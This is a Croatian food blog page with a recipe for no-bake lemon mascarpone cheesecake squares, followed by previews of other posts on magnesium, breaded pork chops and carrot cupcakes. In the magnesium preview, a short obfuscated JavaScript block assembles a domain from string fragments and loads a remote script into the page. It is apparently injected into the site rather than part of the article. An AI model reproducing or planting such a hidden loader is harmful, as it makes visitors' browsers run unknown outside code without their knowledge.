LIMUN CHEESECAKE 🍋




Limun cheesecake 



Ove cheesecake kocke bez pečenja spremaju se za dvadesetak minuta aktivnog rada, a sve ostalo odradi hladnjak. Kombinacija limuna i kremastog sira je klasik koji na Balkanu pali svaki put, naročito ljeti kad nitko ne želi paliti pećnicu. Upravo zato su idealne za vruće dane, nenajavljene goste i ručkove kad ti treba desert koji izgleda dotjerano, a traži minimum truda.





Limun cheesecake 


Sastojci:

Za podlogu:

  • 200 g Petit beurre keksi
  • 60 g Maslac (otopljeni)

Za kremu:

  • 500 g Mascarpone (sobne temperature)
  • 140 g Šećer u prahu
  • 70 ml Limunov sok (svježe cijeđeni, oko 2 limuna)

Za posluživanje (po želji):

  • Slatko vrhnje (za ukrašavanje)
  • Limun (narezan na kriške)




Priprema:

Priprema podloge:

  • Petit beurre kekse samelji u blenderu ili ih zdrobi valjkom u vrećici dok ne dobiješ sitne mrvice.

Zatim ih u zdjeli pomiješaj s otopljenim maslacem dok smjesa ne podsjeća na vlažan pijesak.

Smjesu prebaci u četvrtasti kalup dimenzija 20×20 cm obložen papirom za pečenje i čvrsto je utisni na dno, najlakše dnom čaše, da dobiješ ravnomjernu podlogu.


Priprema kreme:

  • U zasebnoj zdjeli mikserom na nižoj brzini ili pjenjačom kratko sjedini mascarpone, šećer u prahu i svježe cijeđeni limunov sok dok krema ne postane glatka i ujednačena.

Gotovu kremu izlij preko podloge od keksa i lopaticom je ravnomjerno rasporedi po cijeloj površini.


Hlađenje i posluživanje:

  • Kalup stavi u hladnjak najmanje tri sata, a idealno preko noći, da se krema dobro stegne i lakše reže.
  • Ohlađeni desert nareži na kocke, a po želji svaku kocku ukrasi tučenim slatkim vrhnjem i kriškom limuna.


Napomene

  • Obloži kalup papirom za pečenje s viškom preko rubova da ploču lako izvadiš i režeš na dasci.
  • Hladi preko noći kad god možeš jer su kocke tada čvršće i ljepše se režu.
  • Za čist rez zagrij nož pod vrućom vodom i obriši ga prije svakog reza.
  • Koristi svježe cijeđeni limun, sok iz bočice slabije stegne kremu.
  • Drži kocke u hladnjaku do posluživanja jer krema na toplom brzo omekša.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više